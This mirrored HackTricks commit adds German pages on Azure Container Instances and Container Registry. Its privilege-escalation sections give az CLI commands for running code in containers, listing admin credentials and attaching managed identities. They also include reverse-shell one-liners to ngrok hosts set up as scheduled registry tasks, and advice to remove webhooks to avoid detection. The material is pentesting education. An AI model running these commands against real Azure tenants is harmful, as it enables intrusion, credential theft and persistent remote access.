mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 23:01:43 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es dem Benutzer, **einen Befehl** in einem laufenden Container **auszuführen**. Dies kann verwendet werden, um **Berechtigungen** im Container zu **eskalieren**, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.
|
||||
|
||||
Um ein `ls` auszuführen und die Ausgabe zu erhalten, ist es so einfach wie:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
Es ist auch möglich, die **Ausgabe** des Containers mit folgendem Befehl zu **lesen**:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
Oder erhalten Sie die Protokolle mit:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es, **eine benutzerdefinierte verwaltete Identität** an eine Containergruppe anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
|
||||
|
||||
Um eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es, **eine Containergruppe zu erstellen oder zu aktualisieren**, die mit einer **benutzerverwalteten Identität** verknüpft ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Darüber hinaus ist es auch möglich, eine vorhandene Containergruppe zu aktualisieren, indem beispielsweise das **`--command-line` Argument** mit einer Reverse-Shell hinzugefügt wird.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
Diese Berechtigung ermöglicht es dem Benutzer, die Admin-Anmeldeinformationen des ACR aufzulisten. Dies ist nützlich, um **vollständigen Zugriff** auf das Registry zu erhalten.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
Falls die Admin-Anmeldeinformationen nicht aktiviert sind, benötigen Sie auch die Berechtigung `Microsoft.ContainerRegistry/registries/write`, um sie mit folgendem Befehl zu aktivieren:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es dem Benutzer, **ein neues Token** mit Passwörtern zum Zugriff auf das Registry zu **erstellen**.
|
||||
|
||||
Um das `az cli` wie im folgenden Beispiel zu verwenden, benötigen Sie auch die Berechtigungen `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
Diese Berechtigungen ermöglichen es dem Benutzer, ein **Image zu erstellen und auszuführen** im Registry. Dies kann verwendet werden, um **Code** im Container auszuführen.
|
||||
|
||||
>[!WARNING]
|
||||
> Allerdings wird das Image in einer **sandboxed environment** und **ohne Zugriff auf den Metadatenservice** ausgeführt. Das bedeutet, dass der Container keinen Zugriff auf die **Instanzmetadaten** hat, sodass dies nicht wirklich nützlich ist, um Privilegien zu eskalieren.
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
Dies ist die Hauptberechtigung, die es ermöglicht, eine Aufgabe im Registry zu erstellen und zu aktualisieren. Dies kann verwendet werden, um **Code innerhalb eines Containers mit einer angehängten verwalteten Identität** im Container auszuführen.
|
||||
|
||||
Dies ist das Beispiel, wie man eine Reverse-Shell in einem Container mit der **systemverwalteten** Identität ausführt:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Eine weitere Möglichkeit, um eine RCE von einer Aufgabe zu erhalten, ohne ein externes Repository zu verwenden, besteht darin, den Befehl `az acr task create` mit dem Flag `--cmd` zu verwenden. Dies ermöglicht es Ihnen, einen Befehl im Container auszuführen. Zum Beispiel können Sie mit folgendem Befehl eine Reverse-Shell ausführen:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass Sie zum Zuweisen der systemverwalteten Identität keine speziellen Berechtigungen benötigen, obwohl sie zuvor im Container-Registry aktiviert und einige Berechtigungen zugewiesen worden sein muss, damit sie nützlich ist.
|
||||
|
||||
Um auch eine **benutzerverwaltete Identität** zuzuweisen, benötigen Sie die Berechtigung `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, um Folgendes zu tun:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
Um das **Repo** einer bestehenden Aufgabe zu **aktualisieren**, kannst du Folgendes tun:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, **ein Bild in das Azure-Registry zu importieren**, selbst wenn das Bild nicht lokal vorhanden ist. Beachten Sie jedoch, dass Sie **kein Bild mit einem Tag importieren können**, der bereits im Registry vorhanden ist.
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
Um ein **bestimmtes Image-Tag** aus dem Registry zu **entfernen oder zu löschen**, können Sie den folgenden Befehl verwenden. Beachten Sie jedoch, dass Sie einen Benutzer oder Token mit **ausreichenden Berechtigungen** benötigen, um dies zu tun:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,45 @@
|
||||
# Az - Container Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Azure Container Instances (ACI) bieten eine **serverlose, bedarfsorientierte Möglichkeit**, **Container** in der Azure-Cloud auszuführen. Sie können **einzelne oder mehrere Container** in einer Gruppe mit **skalierbarer Rechenleistung**, **Netzwerkoptionen** und der Flexibilität, sich mit **anderen Azure-Diensten** (wie Storage, Virtuellen Netzwerken oder Container-Registrierungen) zu verbinden, **bereitstellen**.
|
||||
|
||||
Da es sich um **ephemere** Workloads handelt, müssen Sie die zugrunde liegende VM-Infrastruktur nicht verwalten — Azure kümmert sich darum für Sie. Aus einer **offensiven Sicherheits-Perspektive** ist es jedoch entscheidend zu verstehen, wie **Berechtigungen**, **Identitäten**, **Netzwerkkonfigurationen** und **Protokolle** Angriffsflächen und potenzielle Fehlkonfigurationen aufdecken können.
|
||||
|
||||
### Konfigurationen
|
||||
|
||||
- Um einen Container zu erstellen, ist es möglich, ein öffentliches Image, ein Container-Image aus einem Azure Container Registry oder einem externen Repository zu verwenden, was möglicherweise **erfordert, ein Passwort zu konfigurieren**, um darauf zuzugreifen.
|
||||
- In Bezug auf das Netzwerk kann es auch eine **öffentliche IP** haben oder **private Endpunkte** sein.
|
||||
- Es ist auch möglich, gängige Docker-Einstellungen wie zu konfigurieren:
|
||||
- **Umgebungsvariablen**
|
||||
- **Volumes** (sogar von Azure Files)
|
||||
- **Ports**
|
||||
- **CPU- und Speicherkapazitätsgrenzen**
|
||||
- **Neustartpolitik**
|
||||
- **Als privilegiert ausführen**
|
||||
- **Befehlszeile zum Ausführen**
|
||||
- ...
|
||||
|
||||
## Aufzählung
|
||||
|
||||
> [!WARNING]
|
||||
> Bei der Aufzählung von ACI können Sie sensible Konfigurationen wie **Umgebungsvariablen**, **Netzwerkdetails** oder **verwaltete Identitäten** aufdecken. Seien Sie vorsichtig beim Protokollieren oder Anzeigen dieser.
|
||||
```bash
|
||||
# List all container instances in the subscription
|
||||
az container list
|
||||
|
||||
# Show detailed information about a specific container instance
|
||||
az container show --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Fetch logs from a container
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Execute a command in a running container and get the output
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
|
||||
|
||||
# Get yaml configuration of the container group
|
||||
az container export --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# Az - Container Registry
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Azure Container Registry (ACR) ist ein sicheres, privates Registry, das es Ihnen ermöglicht, **Container-Images in der Azure-Cloud zu speichern, zu verwalten und darauf zuzugreifen**. Es integriert sich nahtlos mit mehreren Azure-Diensten und bietet automatisierte Build- und Bereitstellungs-Workflows in großem Maßstab. Mit Funktionen wie Geo-Replikation und Schwachstellenscanning hilft ACR, die Sicherheit und Compliance auf Unternehmensniveau für containerisierte Anwendungen zu gewährleisten.
|
||||
|
||||
### Berechtigungen
|
||||
|
||||
Dies sind die **verschiedenen Berechtigungen** [laut den Dokumenten](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), die über ein Container-Registry vergeben werden können:
|
||||
|
||||
- Zugriff auf den Resource Manager
|
||||
- Erstellen/Löschen von Registries
|
||||
- Bild hochladen
|
||||
- Bild herunterladen
|
||||
- Bilddaten löschen
|
||||
- Richtlinien ändern
|
||||
- Bilder signieren
|
||||
|
||||
Es gibt auch einige **vordefinierte Rollen**, die zugewiesen werden können, und es ist auch möglich, **benutzerdefinierte Rollen** zu erstellen.
|
||||
|
||||

|
||||
|
||||
### Authentifizierung
|
||||
|
||||
> [!WARNING]
|
||||
> Es ist sehr wichtig, dass Sie, auch wenn der Registrierungsname einige Großbuchstaben enthält, immer **Kleinbuchstaben** verwenden, um sich anzumelden, Bilder hochzuladen und herunterzuladen.
|
||||
|
||||
Es gibt 4 Möglichkeiten, sich bei einem ACR zu authentifizieren:
|
||||
|
||||
- **Mit Entra ID**: Dies ist die **Standard**-Methode zur Authentifizierung bei einem ACR. Es verwendet den Befehl **`az acr login`**, um sich beim ACR zu authentifizieren. Dieser Befehl **speichert die Anmeldeinformationen** in der **`~/.docker/config.json`**-Datei. Darüber hinaus, wenn Sie diesen Befehl aus einer Umgebung ohne Zugriff auf einen Docker-Socket wie in einer **Cloud-Shell** ausführen, ist es möglich, das **`--expose-token`**-Flag zu verwenden, um das **Token** zur Authentifizierung beim ACR zu erhalten. Um sich zu authentifizieren, müssen Sie als Benutzernamen `00000000-0000-0000-0000-000000000000` verwenden, wie: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Mit einem Administratorkonto**: Der Administratorkonto ist standardmäßig deaktiviert, kann jedoch aktiviert werden, und dann ist es möglich, auf die Registry mit dem **Benutzernamen** und **Passwort** des Administratorkontos mit vollständigen Berechtigungen für die Registry zuzugreifen. Dies wird weiterhin unterstützt, da einige Azure-Dienste es verwenden. Beachten Sie, dass für diesen Benutzer **2 Passwörter** erstellt werden und beide gültig sind. Sie können es mit `az acr update -n <acrName> --admin-enabled true` aktivieren. Beachten Sie, dass der Benutzername normalerweise der Registrierungsname ist (und nicht `admin`).
|
||||
- **Mit einem Token**: Es ist möglich, ein **Token** mit einem **spezifischen `scope map`** (Berechtigungen) zu erstellen, um auf die Registry zuzugreifen. Dann ist es möglich, diesen Token-Namen als Benutzernamen und eines der generierten Passwörter zur Authentifizierung bei der Registry mit `docker login -u <registry-name> -p <password> aregistry-url>` zu verwenden.
|
||||
- **Mit einem Dienstprinzipal**: Es ist möglich, einen **Dienstprinzipal** zu erstellen und eine Rolle wie **`AcrPull`** zuzuweisen, um Bilder herunterzuladen. Dann ist es möglich, sich mit der SP-App-ID als Benutzernamen und einem generierten Geheimnis als Passwort bei der Registry anzumelden.
|
||||
|
||||
Beispielskript aus den [Dokumenten](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) zur Erstellung eines SP mit Zugriff auf eine Registry:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
SERVICE_PRINCIPAL_NAME=$servicePrincipal
|
||||
|
||||
# Obtain the full registry ID
|
||||
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
|
||||
|
||||
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
|
||||
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
|
||||
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Verschlüsselung
|
||||
|
||||
Nur die **Premium SKU** unterstützt **Verschlüsselung im Ruhezustand** für die Images und andere Artefakte.
|
||||
|
||||
### Netzwerk
|
||||
|
||||
Nur die **Premium SKU** unterstützt **private Endpunkte**. Die anderen unterstützen nur **öffentlichen Zugriff**. Ein öffentlicher Endpunkt hat das Format `<registry-name>.azurecr.io` und ein privater Endpunkt hat das Format `<registry-name>.privatelink.azurecr.io`. Aus diesem Grund muss der Name des Registrys in ganz Azure einzigartig sein.
|
||||
|
||||
### Microsoft Defender für Cloud
|
||||
|
||||
Dies ermöglicht es Ihnen, die **Images** im Registry auf **Schwachstellen** zu **scannen**.
|
||||
|
||||
### Soft-Delete
|
||||
|
||||
Die Funktion **Soft-Delete** ermöglicht es Ihnen, ein **gelöschtes Registry** innerhalb der angegebenen Anzahl von Tagen **wiederherzustellen**. Diese Funktion ist **standardmäßig deaktiviert**.
|
||||
|
||||
### Webhooks
|
||||
|
||||
Es ist möglich, **Webhooks** innerhalb von Registries zu **erstellen**. In diesem Webhook muss die URL angegeben werden, an die eine **Anfrage gesendet wird, wann immer eine Push- oder Löschaktion durchgeführt wird**. Darüber hinaus können Webhooks einen Geltungsbereich angeben, um die Repositories (Images) zu kennzeichnen, die betroffen sein werden. Zum Beispiel bedeutet 'foo:*', dass Ereignisse im Repository 'foo' stattfinden.
|
||||
|
||||
Aus der Perspektive eines Angreifers ist es interessant, dies **vor der Durchführung einer Aktion** im Registry zu überprüfen und es vorübergehend zu entfernen, wenn nötig, um eine Entdeckung zu vermeiden.
|
||||
|
||||
### Verbundene Registries
|
||||
|
||||
Dies ermöglicht im Wesentlichen, die **Images** von einem Registry zu einem anderen, normalerweise lokal, zu **spiegeln**.
|
||||
|
||||
Es hat 2 Modi: **ReadOnly** und **ReadWrite**. Im ersten Modus werden die Images nur **von** dem Quell-Registry **abgerufen**, und im zweiten Modus können Images auch **in** das Quell-Registry **hochgeladen** werden.
|
||||
|
||||
Damit Clients auf das Registry von Azure aus zugreifen können, wird ein **Token** generiert, wenn das verbundene Registry verwendet wird.
|
||||
|
||||
### Ausführungen & Aufgaben
|
||||
|
||||
Ausführungen & Aufgaben ermöglichen es, in Azure containerbezogene Aktionen auszuführen, die Sie normalerweise lokal oder in einer CI/CD-Pipeline durchführen mussten. Zum Beispiel können Sie **Images im Registry erstellen, hochladen und ausführen**.
|
||||
|
||||
Der einfachste Weg, einen Container zu erstellen und auszuführen, ist die Verwendung einer regulären Ausführung:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
|
||||
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
Allerdings wird dies Ausführungen auslösen, die aus der Perspektive eines Angreifers nicht besonders interessant sind, da ihnen keine verwaltete Identität zugeordnet ist.
|
||||
|
||||
Allerdings können **Tasks** eine **system- und benutzerverwaltete Identität** zugeordnet haben. Diese Tasks sind die nützlichsten, um **Privilegien zu eskalieren** im Container. Im Abschnitt zur Eskalation von Privilegien ist es möglich zu sehen, wie man Tasks zur Eskalation von Privilegien verwendet.
|
||||
|
||||
### Cache
|
||||
|
||||
Die Cache-Funktion ermöglicht es, **Bilder aus einem externen Repository herunterzuladen** und die neuen Versionen im Registry zu speichern. Es erfordert, dass einige **Anmeldeinformationen konfiguriert** werden, indem die Anmeldeinformationen aus einem Azure Vault ausgewählt werden.
|
||||
|
||||
Dies ist aus der Perspektive eines Angreifers sehr interessant, da es ermöglicht, **zu einer externen Plattform zu pivotieren**, wenn der Angreifer über ausreichende Berechtigungen verfügt, um auf die Anmeldeinformationen zuzugreifen. **Bilder aus einem externen Repository herunterzuladen** und einen Cache zu konfigurieren, könnte auch als **Persistenzmechanismus** verwendet werden.
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> Es ist sehr wichtig, dass Sie, auch wenn der Registrierungsname einige Großbuchstaben enthält, nur Kleinbuchstaben in der URL verwenden, um darauf zuzugreifen.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
az acr list
|
||||
|
||||
# Get the details of a registry
|
||||
az acr show --name <registry-name>
|
||||
|
||||
# List tokens of a registry
|
||||
az acr token list --registry <registry-name> --resource-group <res-group>
|
||||
|
||||
# List repositories in a registry
|
||||
az acr repository list --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List the tags of a repository
|
||||
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List deleted repository tags
|
||||
## At the time of this writing there isn't yet any command to restore it
|
||||
az acr repository list-deleted --name <registry-name>
|
||||
|
||||
# List tasks
|
||||
## Check the git URL or the command
|
||||
az acr task list --registry <registry-name>
|
||||
|
||||
# List tasks runs
|
||||
az acr task list-runs --registry <registry-name>
|
||||
|
||||
# List connected registries
|
||||
az acr connected-registry list --registry <registry-name>
|
||||
|
||||
# List cache
|
||||
az acr cache list --registry <registry-name>
|
||||
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Privilegieneskalation & Nachausnutzung
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user